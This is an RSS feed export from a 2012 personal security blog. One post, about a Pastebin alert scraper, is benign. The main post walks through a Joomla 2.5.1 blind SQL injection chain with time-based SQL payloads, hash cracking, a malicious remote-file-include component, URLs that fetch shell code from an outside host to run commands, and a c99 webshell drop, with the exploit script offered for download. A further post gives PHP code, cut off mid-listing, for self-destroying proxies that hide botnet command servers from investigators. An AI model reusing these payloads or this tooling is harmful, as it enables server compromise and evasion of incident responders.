<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AndrewNohawk</title>
	<atom:link href="http://andrewmohawk.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://andrewmohawk.com</link>
	<description>Just another script kiddie&#039;s ramblings</description>
	<lastBuildDate>Tue, 10 Apr 2012 23:39:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>PasteLert v2!</title>
		<link>http://andrewmohawk.com/2012/04/09/pastelert-v2/</link>
		<comments>http://andrewmohawk.com/2012/04/09/pastelert-v2/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 18:47:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[pastebin]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=446</guid>
		<description><![CDATA[The Quick and dirty: New PasteLert lives at http://andrewmohawk.com/pasteLertV2/ Downloads: » Interface -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip » Cron Tasks -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip » Scraping Script -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip And of course if you want everything -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip Overview My linode has been pretty much falling over due to the previous version of the pastebin alerts for a number of [...]]]></description>
			<content:encoded><![CDATA[<h2>The Quick and dirty:</h2>
<p>New PasteLert lives at <a href="http://andrewmohawk.com/pasteLertV2/">http://andrewmohawk.com/pasteLertV2/</a></p>
<p>Downloads:</p>
<p>» Interface -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip</a><br />
» Cron Tasks -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip</a><br />
» Scraping Script -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip</a></p>
<p>And of course if you want everything -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip</a></p>
<h2>Overview</h2>
<p>My linode has been pretty much falling over due to the previous version of the pastebin alerts for a number of reasons:</p>
<p>» Scripts sometimes get blackholed (pastebin.com allows the connection but doesnt respond &#8211; due to their DDoS protection)<br />
» Scripts sometimes were still running when the PREVIOUS script had not completed causing a chain reaction of fail<br />
» Deletes would be happening while the above scripts where running causing MySQL to tilt</p>
<h2>Lucene/Solr</h2>
<p>As such I recently re-worked the service. Initially I started playing around with other DB types to try and get my Linode to store more than a day or 2s worth of Pastebin.com data. I looked around and it appeared that Lucene/SolR was the solution I was looking for, and actually it does work _very_ well at storing large amounts of data (I had it running with about 2 weeks of data). However there were a number of issues:</p>
<p>» After about a week or 2s worth of data (avg around 20-30K posts a day, x 14 = 280 000 &#8211; 420 000 posts) the search times were SLOW (talking something like 5-15 SECONDS)<br />
» Because Lucene is not a RDBMS there is no concept of having something like a row ID or an auto-incrementing ID &#8211; so this would have to be handled by the script to get the number of entries and +1 every time<br />
» Because of the above Alerts would have to work on a date (when the post was made &#8211; so working out from x secs ago or y minutes ago), and an ISO formatted date no less (no unixtime) it became a real pain.</p>
<p>However, with that being said I did still build the interfaces for it and if you are looking to implement it with SolR / Lucene just message me for the schema and Python/PHP scripts.</p>
<h2>Basics</h2>
<p>Ultimately however I decided to stick to the same system previously used but rather than have cron&#8217;d scripts that pull the data have one long running python script that you can place in the background. Pretty basic and the code should be self explanatory, the gist of it:</p>
<p>1. Pull archive.php from pastebin.com [ <a title="http://pastebin.com/archive.php" href="http://pastebin.com/archive.php">http://pastebin.com/archive.php</a> ]<br />
2. Extract all the paste entries with a regular expression (<strong> re.compile(&#8216;&lt;td&gt;&lt;img src=&#8221;/i/t.gif&#8221; .*?&lt;a href=&#8221;/(.*?)&#8221;&gt;(.*?)&lt;/a&gt;&lt;/td&gt;.*?&lt;td&gt;(.*?)&lt;/td&gt;&#8217;,re.S)</strong> )<br />
3. Check if we have seen it in the last 500 or so (that we have in a python list), if not, pull the raw paste<br />
4. INSERT IGNORE (in case we missed a double) this data</p>
<p>Then for the &#8220;alerts&#8221; themselves, basically:</p>
<p>»Every 30 minutes (or whenever you set the cron to run) search if the terms in the database have been seen<br />
»If seen send out mail</p>
<p>Additionally of course there is a web interface that you can use to add alerts as well as search the current index&#8217;d pastes.</p>
<h2>Downloads / Config</h2>
<p>My Crontab at this stage looks as follows (if you want to just copy mine):<br />
<strong>*/20 * * * * php /home/andrew/pasteLertV2/Cron_Tasks/sendAlerts.php</strong><br />
<strong>0 1 * * * php /home/andrew/pasteLertV2/Cron_Tasks/truncPastes.php</strong></p>
<p>And i&#8217;ve kicked off the script that puts the data in the database with:</p>
<p>andrew@mothership:~/pasteLertV2/Python_Scraping_Script$ nohup python scrapePastebinMySQL.py &amp;</p>
<p>I&#8217;ve seperated the scripts into the 3 sections:</p>
<p>» Interface -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip</a><br />
» Cron Tasks -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip</a><br />
» Scraping Script -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip</a></p>
<p>And of course if you want everything -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip</a></p>
<p>Essentially the only modification you need to do is within the interface / cron tasks modify the &#8216;setDB.php&#8217; script with your db credentials and within the scraping script, set these on line 141.</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/04/09/pastelert-v2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla 2.51 Blind SQL Attack</title>
		<link>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/</link>
		<comments>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 16:05:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Blind]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[Timing Attack]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=422</guid>
		<description><![CDATA[&#60;responsible_disclosure&#62; Before i discuss this, let me just say that the bug has been patched (was in 2.5.1) and at the time of writing this Joomla is already 2 increments away -  2.5.3 is currently available. &#60;/responsible_disclosure&#62; Overview So back in the dark ages of my programming life I, like many people who started coding, [...]]]></description>
			<content:encoded><![CDATA[<p>&lt;responsible_disclosure&gt;<br />
Before i discuss this, let me just say that the bug has been patched (was in 2.5.1) and at the time of writing this Joomla is already 2 increments away -  2.5.3 is currently available.<br />
&lt;/responsible_disclosure&gt;</p>
<h2>Overview</h2>
<p>So back in the dark ages of my programming life I, like many people who started coding, worked in web development. And during these times I had to write modules/hack things together for various frameworks, including Joomla. At that stage i was also signed up to the Joomla security security list and a few weeks ago i saw a security update come through that affected most joomla installs and was a core issue. Most of the &#8216;omgjoomlasux&#8217; commercials/vulns/notifcations actually are problems with 3rd party modules rather than with joomla itself, so this was pretty interesting. Secondly the bug was listed as a SQL injection bug and critical, this gave me the idea that with a bit of luck and some mysql commands I too could hack the planet. I fired up my green_text_on_black_background console and gave it a whirl.</p>
<p>First i pulled Joomla installs 2.5.1 and 2.5.2 from the download page (the issue had just been patched), next I had to go through these to figure out what changed. Doing a quick diff in linux, or for windows people use the cool winmerge it was quick and painless to find the issue:</p>
<div id="attachment_429" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/winmerge.png"><img class="size-medium wp-image-429" title="Winmerge" src="http://andrewmohawk.com/wp-content/uploads/2012/04/winmerge-300x116.png" alt="Winmerge with Diff of 2.51 and 2.52" width="300" height="116" /></a><p class="wp-caption-text">Winmerge with Diff of 2.51 and 2.52</p></div>
<p><strong>./plugins/system/redirect/redirect.php:</strong></p>
<p>Joomla251:<br />
$db-&gt;setQuery(&#8216;select id from &#8216;.$db-&gt;quoteName(&#8216;#__redirect_links&#8217;).&#8221;  where old_url=&#8217;&#8221;.$current.&#8221;&#8216;&#8221;);</p>
<p>Joomla252:<br />
$db-&gt;setQuery(&#8216;select id from &#8216;.$db-&gt;quoteName(&#8216;#__redirect_links&#8217;).&#8221;  where old_url=&#8217;&#8221; .<strong> $db-&gt;quote($current)</strong> . &#8220;&#8216;&#8221;);</p>
<p>So right off the mark, things are looking great, got a SQL command that is not escaped via the $current variable. A quick search to find this in that function gives us:</p>
<p><strong>$current = $uri-&gt;toString(array(&#8216;scheme&#8217;, &#8216;host&#8217;, &#8216;port&#8217;, &#8216;path&#8217;, &#8216;query&#8217;, &#8216;fragment&#8217;));</strong></p>
<p>Excellent, something we can regularly manipulate with just a browser (since its adding the URI from the browser), so now what could I do with this information?</p>
<p>First off i knew what the SQL query looked like, so it was a lot easier to manipulate in a SQL interface or even something like PhpMyAdmin. So modifying the query quickly gave me some failboats:</p>
<p>1. I couldnt do any insert / modifcation of data from a secondary query like:<br />
- UNION SELECT (insert x into y)<br />
This was due to the fact that insert x into y simple didn&#8217;t return anything so it could not be joined to the previous SQL query, the Union requires a returned value to join to the current SQL statement. I tried doing things like SELECTing an INSERT, using the IF statement and a few others without luck.</p>
<p>2. MySQL doesn&#8217;t have anything like xp_cmdshell so I could not off-the-bat execute raw code (sadface).</p>
<p>However, MySQL did have a few functions that were super useful:<br />
* INTO DUMPFILE &#8211; this lets me write files out to the system (winning.) Unfortunately I have NO IDEA where the webroot is, and in the testing I did MySQL almost never had write access to the webroot when i knew where it was<br />
* SELECT LOAD_FILE &#8211; lets me select local files into things &#8211; Great apart from the fact that I cannot write into the database and I dont know where I can put files</p>
<p>At this stage it was super-facepalm-time. But then with a little help from Roelof and the internets i started looking at timing attacks.</p>
<p><span id="more-422"></span></p>
<h2>How the attack works:</h2>
<p>* You can add an IF statement into the UNION to evaluate something<br />
* If its true, sleep for a period of time (by default I used 2s more than the average normal request time)<br />
* If false do nothing (so the page returns in a normal time)</p>
<p>So right now I have the ability to essentially ask Joomla a true or false question and get an answer for it. Next was figuring out what I could do with this to get a webshell on a box.</p>
<p>I looked at some of the joomla-y things and found that the easiest way for me to get a shell on the box would be with a simple RFI (loads of components for Joomla already have this, but I figured id rather make a custom component). The only problem is that I didnt have access to the backend because I didnt know the password :/</p>
<p>So next was figuring out how to get the password. Most joomla installs come with a nasty setting that puts a prefix before every table in the database, so while my install has users in c5swv_users, yours might have it in s5fddg_users.. irritating.</p>
<p>So the steps at this stage:<br />
1. Get the prefix for the database<br />
2. Get the admin password out<br />
3. Crack the admin password<br />
4. Login, install component<br />
5. Call the RFI component with your shell.</p>
<p>First things first, figuring out the best way to get data out. Essentially there were two options:</p>
<p>1. Take each character we need to get out to binary, and time out a 8 bits for a single character (8 requests), eg. 00110101 would be in response times,</p>
<p>2. Use a binary tree to try and identify the character, essentially asking something like this:<br />
- Is it between a and z?<br />
- Is it between a and m?<br />
- Is it between t and z?<br />
- Is it between w and z?<br />
- Is it between t and u?  (i know it must be either t,u or v at this stage)<br />
- Its V!</p>
<p>I opted for the second option mostly because Roelof suggested it first and also cause it seems sexy :)</p>
<p>So writing the query for those looks something like:<br />
<strong>SELECT if((SELECT ORD(singlecharacter) FROM x) between $start and $end,sleep(2),null)</strong></p>
<h2>Fetching the prefix:</h2>
<p>The prefix can be fetched by doing the query:<br />
<strong>SELECT SUBSTRING_INDEX(table_name,&#8217;_',1) FROM information_schema.tables WHERE table_schema=database() limit 1</strong></p>
<p>Then I could change it up to do the positioning with something like:<br />
<strong>SELECT ORD(SUBSTRING((SUBSTRING_INDEX(table_name,&#8217;_',1)),$pos,1)) FROM information_schema.tables WHERE table_schema=database() limit 1</strong></p>
<p>However i first had to get the number of positions, so that was done with a guessing game something like:<br />
Is it 3?<br />
Is it 4?<br />
Is it 5?<br />
Its 5!</p>
<p>And a SQL statement something like:<br />
<strong>SELECT if((SELECT LENGTH(SUBSTRING_INDEX(table_name,&#8217;_',1)) FROM information_schema.tables WHERE table_schema=database() limit 1) = ,sleep(2),null)</strong></p>
<p>Below you can see it doing this in the script:</p>
<div id="attachment_426" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/exploit_running.png"><img class="size-medium wp-image-426" title="Script Running to time out prefix" src="http://andrewmohawk.com/wp-content/uploads/2012/04/exploit_running-300x183.png" alt="Script Running to time out prefix" width="300" height="183" /></a><p class="wp-caption-text">Script Running to time out prefix</p></div>
<h2>Admin Hash</h2>
<p>Great, so I have prefix and prefix length, now to get the admin hash. Essentially done in the same way as above but with the query SELECT password from #prefix#_users WHERE username=admin</p>
<p>Once I had that out (it takes a while as its a 32 bit hash and a 32 bit salt) I could get on to cracking it.</p>
<p>Joomla passwords by default are MD5(salt + password), and the salt is stored in the password field (thank goodness! If it was in a file somewhere id have really been stuck here).</p>
<p>So brute forcing with the salt eventually gave me the password :) &#8212; In the script I only do it up to 6 characters, after that it simply takes too much time to do it in php..</p>
<p>NOTE: I&#8217;ve added a -c=1 param for people who wish to do it outside of the script &#8211; which seems a lot better since mine is horribly inneficient</p>
<h2>Login and Component</h2>
<p>So i simply took apart a helloworld component and added the functionality i needed, namely:</p>
<p><strong>include($_GET["url"]);</strong></p>
<p>However this seldomly seems to work as most hosting providers/defaults for PHP have allow_url_include set to 0. Strangely however it seems that I can include local files that i fetch with file_get_contents, so it was simply a case of doing:</p>
<p><strong>$phpShellCode = file_get_contents($_GET["url"]);</strong><br />
<strong> $filename = &#8220;/tmp/myshell&#8221; . rand(0,9999) . &#8220;.txt&#8221;;</strong><br />
<strong> $fh = fopen($filename, &#8216;w&#8217;);</strong><br />
<strong> fwrite($fh, $phpShellCode);</strong><br />
<strong> fclose($fh);</strong><br />
<strong> include($filename);</strong></p>
<p>Additionally the &#8216;helloworld&#8217; component made a menu item in the backend which we obviously wouldnt want, so I stripped that out (really just removed the files relating to the admin section). By default joomla has loads of components installed and the wizard to uninstall them doesn&#8217;t make it very easy to spot the malicious one.</p>
<div id="attachment_427" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/extensionmanager.png"><img class="size-medium wp-image-427" title="Joomla Extension Manager" src="http://andrewmohawk.com/wp-content/uploads/2012/04/extensionmanager-300x139.png" alt="Joomla Extension Manager" width="300" height="139" /></a><p class="wp-caption-text">Joomla Extension Manager</p></div>
<p>So now my component works it was just a matter of hacking together some curl scripts to login, install the component and then allow the user to browse to that page. Joomla has some protection against CSRF so the pages generally had to be regex&#8217;d to get all the field data to be posted.</p>
<p>On a side note, one strange thing with Joomla is that after posting data (such as login/upload) the Joomla site would return a 200 and the page would have to be reloaded to get confirmation that it was successful.</p>
<h2>PHP Shell:</h2>
<p>The PHP shell was a little tricky as i was stuck in a specific part of the page and the way the code got there meant I couldnt _really_ post back to the page, so this excluded all c99-type shells. However putting a little script together meant you could easily get something to be dropped into ../../c99.php and you were A-for-away. I have just included a simple exec script to output the return values of a cmd, so that you can do something like:</p>
<p><strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=cat /etc/passwd</strong><br />
<strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=whoami</strong><br />
<strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=pwd</strong></p>
<p>And get the responses right in the page:</p>
<div id="attachment_428" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/webshell.png"><img class="size-medium wp-image-428" title="RFI response in page" src="http://andrewmohawk.com/wp-content/uploads/2012/04/webshell-300x101.png" alt="RFI response in page" width="300" height="101" /></a><p class="wp-caption-text">RFI response in page</p></div>
<p>&nbsp;</p>
<h2>Full Shell:</h2>
<p>So i added another php include file to help pull files, something like this:<br />
<!--?php file_put_contents($_GET["l"],file_get_contents($_GET["r"])); ?--></p>
<p>And used this to get a c99 going on my box, essentially just doing something like:</p>
<p>http://www.andrewmohawk.com/phpshells/pullfileLocal.txt&#038;l=/var/www/html/andrewmohawk.com/joomla251/logs/test.php&#038;r=https://web-malware-collection.googlecode.com/svn-history/r3/trunk/Backdoors/PHP/c99.txt</p>
<p>And then browsing to http://andrewmohawk.com/joomla251/logs/test.php</p>
<p>The reason I placed the file in logs is that the Joomla setup usually forces the user to have write access there so it can write out the log files, in fact marking that directory as non writable forces the admin backend to throw an error so you cannot login.</p>
<div id="attachment_425" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/c99.png"><img class="size-medium wp-image-425" title="c99 Shell" src="http://andrewmohawk.com/wp-content/uploads/2012/04/c99-300x86.png" alt="C99 Shell running on box" width="300" height="86" /></a><p class="wp-caption-text">C99 Shell running on box</p></div>
<h2>Scripts / Code:</h2>
<p>So i packaged this all (up to installing the RFI component) into an automated PHP script located here -&gt; <a href="http://andrewmohawk.com/joomla/exploit251.phps">exploit251.php</a><br />
And i put the two php helper shell thingies in this directory here -&gt;&gt; <a href="http://www.andrewmohawk.com/phpshells/">www.andrewmohawk.com/phpshells/</a><br />
Also you will need the RFI component here -&gt;&gt; <a title="http://andrewmohawk.com/joomla/com_rfi.zip" href="http://andrewmohawk.com/joomla/com_rfi.zip">http://andrewmohawk.com/joomla/com_rfi.zip</a></p>
<p>&nbsp;</p>
<h2>Output/Example:</h2>
<p>The example of it running is located here: <a href="http://andrewmohawk.com/exploitRun.log">exploitRun.log</a></p>
<h2>Conclusion:</h2>
<p>The vulnerability is pretty serious as firstly it can lead to the machine being compromised while now just as the apache user but later with priv. escalation or other attacks as root. Additionally because it is simply a php script, and we are executing php it could be wormed so that each compromised machine looks for another machine to compromise and spreads that way.</p>
<p>Obviously upgrading to the latest Joomla is recommended to avoid this ^_^</p>
<p>However its also important to ask, if something as trivial as escaping/sanitising a user variable is missed in some of the core functionality, how many more have been missed and how much can we really trust the code.</p>
<p>&nbsp;</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FireBridges, proxies that burn!</title>
		<link>http://andrewmohawk.com/2012/02/26/firebridges/</link>
		<comments>http://andrewmohawk.com/2012/02/26/firebridges/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 00:43:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[proxy]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=384</guid>
		<description><![CDATA[Overview I&#8217;ve always been semi interested in botnets/trojans and targetted attacks and the way they get their data in and out and how the command and control centres work. One of the things i&#8217;d usually do is see if I can determine where the traffic is going from the bot (infected machine) and this would [...]]]></description>
			<content:encoded><![CDATA[<h2>Overview</h2>
<p><a href="http://andrewmohawk.com/fireBridges/firebridge2.png"><br />
	<center><img title="Firebridge Overview" src="http://andrewmohawk.com/fireBridges/firebridge2.png" alt="Firebridge Overview" width="450" /></center><br />
</a><br />
	<br/><br />
I&#8217;ve always been semi interested in botnets/trojans and targetted attacks and the way they get their data in and out and how the command and control centres work. One of the things i&#8217;d usually do is see if I can determine where the traffic is going from the bot (infected machine) and this would obviously point me to the c&#038;c. I&#8217;d then fire up Maltego and start playing with that IP/hostname to see where else it appears, what other things are linked to it and so on. One of the concepts I was playing around with was how could you hide where your c&#038;c and from this FireBridges as a concept where created.</p>
<p>Since we were playing badguy-badguy I decided to think how do the good guys go about taking apart a bot to get to your c&#038;c and i figure it probably works something like this:</p>
<p>* What is c&#038;c.thisisnotnormal.traffic.com &#8211; browse to it, portscan, etc<br />
* Look at traffic going to c&#038;c.thisisnotnormal.traffic.com &#8211; replay it to see results<br />
* Take apart the traffic and start sending modifying parts to see results<br />
* Go and literally pick up the machine(s) hosting c&#038;c.thisisnotnormal.traffic.com</p>
<p>So how would you go about making these peoples lives a little more painful?</p>
<p>* Make sure no connections go directly to the c&#038;c &#8211; route through proxies<br />
* Make sure all traffic is encrypted/encoded and if either fails destroy the proxy<br />
* All proxies look for replay attacks and destroy themselves after a threshhold (could be 1 for the super paranoid)</p>
<h2>Basics</h2>
<p>From this the idea of Firebridges (really thought it was a cool name but i see there are loads of other things with the same name) were born. The idea is relatively basic:</p>
<p style="padding-left: 30px;"><strong>*</strong> You have a series of proxies that dont know about anything apart from the nextHop in the chain<br />
<strong>*</strong> Proxies all make sure that data passing through is correctly encrypted (checking for tampering)<br />
<strong>*</strong> Proxies all make sure data is not being replayed<br />
<strong>*</strong> If a proxy detects something going wrong it removes all files associated with the nextHop leaving the people chasing you with a dead end</p>
<p>Implementation was not too difficult, whipped something up in PHP that works like this:</p>
<p style="padding-left: 30px;">* All requests to nextHop include a POST variable &#8216;key&#8217; that contains a key made up of the following (B64(RIJNDAEL256(B64(secretkey))):</p>
<p style="padding-left: 60px;">1. b64_1 = Base64_encode(&#8216;text&#8217;)<br />
2. RIJ_2 = RIJNDAEL_256_encode(b64_1)<br />
3. b64_3 = Base64_encode(RIJ_2)</p>
<p style="padding-left: 30px;">* All requests hit a &#8216;bridge.php&#8217; page that does:<br />
* @Include &#8216;proxy.php&#8217;, call function proxyRequest(); which checks auth above and replay attacks via SQLite db<br />
* If proxyRequest() returns false, remove the SQLite database and &#8216;proxy.php&#8217; script leaving the person chasing you with a 5 line php file that once included something<br />
* If proxyRequest() returns != false, simply return the page to the browser.</p>
<h2>Results</h2>
<p>Using FireBridges, you can now create a proxy network easily by simply changing the nextHop variable in proxyRequest.php and adding them to machines all over the world that will burn if anyone tampers with them. This means if anyone is investigating why traffic is going to thisisauniquehostname.weareevil.com and decides to browse to it the proxies will burn themselves (and they will get the default apache page &#8211; configurable in bridge.php) and by the time they pick up the machine all they will have is 1 php script that gives away nothing. It also means that if these investigators are slightly more resourceful in their approach and try replay the attack after a certain threshold of replays (default is 2) the next replay will burn the proxy. Finally if they are even more resourceful and try tamper with any of the data the proxy will burn on the first attempt presuming it doesn&#8217;t match your requirements.</p>
<p><span id="more-384"></span></p>
<h2>Defenses</h2>
<p>So defending against this is pretty tricky but essentially it comes down to the following:<br />
* Always assume a replay threshold of 1 if you see anything like this<br />
* If you spot a c&#038;c then DO NOT TOUCH it networkly prior to making a full image of the machine<br />
* If you are unsure about where the c&#038;c is but can see the traffic, keep monitoring it but do not touch the bridge before picking it up, remember one bad packet could burn the entire route to the c&#038;c</p>
<p><a href="http://andrewmohawk.com/fireBridges/firebridge3.png"><br />
	<center><img title="Firebridge Burning Overview" src="http://andrewmohawk.com/fireBridges/firebridge3.png" alt="Firebridge Burning Overview" width="450" /></center><br />
</a></p>
<h2>Code</h2>
<p>So onto the code (I realise this format sucks, but there are download links for each script below each heading):</p>
<h3><strong>firebridge.sqlite</strong> (db for checking replays)</h3>
<p><a href="https://andrewmohawk.com/fireBridges/firebridge.sqlite">(download firebridge.sqlite)</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="sql" style="font-family:monospace;">sqlite<span style="color: #66cc66;">&gt;</span> <span style="color: #66cc66;">.</span><span style="color: #993333; font-weight: bold;">TABLES</span>
seenKeys
sqlite<span style="color: #66cc66;">&gt;</span> <span style="color: #66cc66;">.</span>schema
<span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> seenKeys<span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">KEY</span> text<span style="color: #66cc66;">,</span> count smallint<span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<h3><strong>exampleRequest.php</strong> (script to request something via fireBridge &#8211; used in bot?)</h3>
<p><a href="https://andrewmohawk.com/fireBridges/exampleRequest.phps">(download exampleRequest.php)</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> createFireBridgeKey<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$iv_size</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_get_iv_size</span><span style="color: #009900;">&#40;</span>MCRYPT_RIJNDAEL_256<span style="color: #339933;">,</span> MCRYPT_MODE_ECB<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$iv</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_create_iv</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$iv_size</span><span style="color: #339933;">,</span> MCRYPT_RAND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$cryptKey</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Secret_^&amp;Key!@#$FireBr!dge@@112A'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$encodedClearData</span> <span style="color: #339933;">=</span> <span style="color: #990000;">base64_encode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$encryptedEncodedData</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_encrypt</span><span style="color: #009900;">&#40;</span>MCRYPT_RIJNDAEL_256<span style="color: #339933;">,</span> <span style="color: #000088;">$cryptKey</span><span style="color: #339933;">,</span> <span style="color: #000088;">$encodedClearData</span><span style="color: #339933;">,</span> MCRYPT_MODE_ECB<span style="color: #339933;">,</span> <span style="color: #000088;">$iv</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    
    <span style="color: #000088;">$encodedEncryptedEncodedData</span> <span style="color: #339933;">=</span> <span style="color: #990000;">base64_encode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$encryptedEncodedData</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$encodedEncryptedEncodedData</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> randomData<span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">8</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>     
    <span style="color: #000088;">$chars</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$p</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$length</span><span style="color: #339933;">;</span> <span style="color: #000088;">$p</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
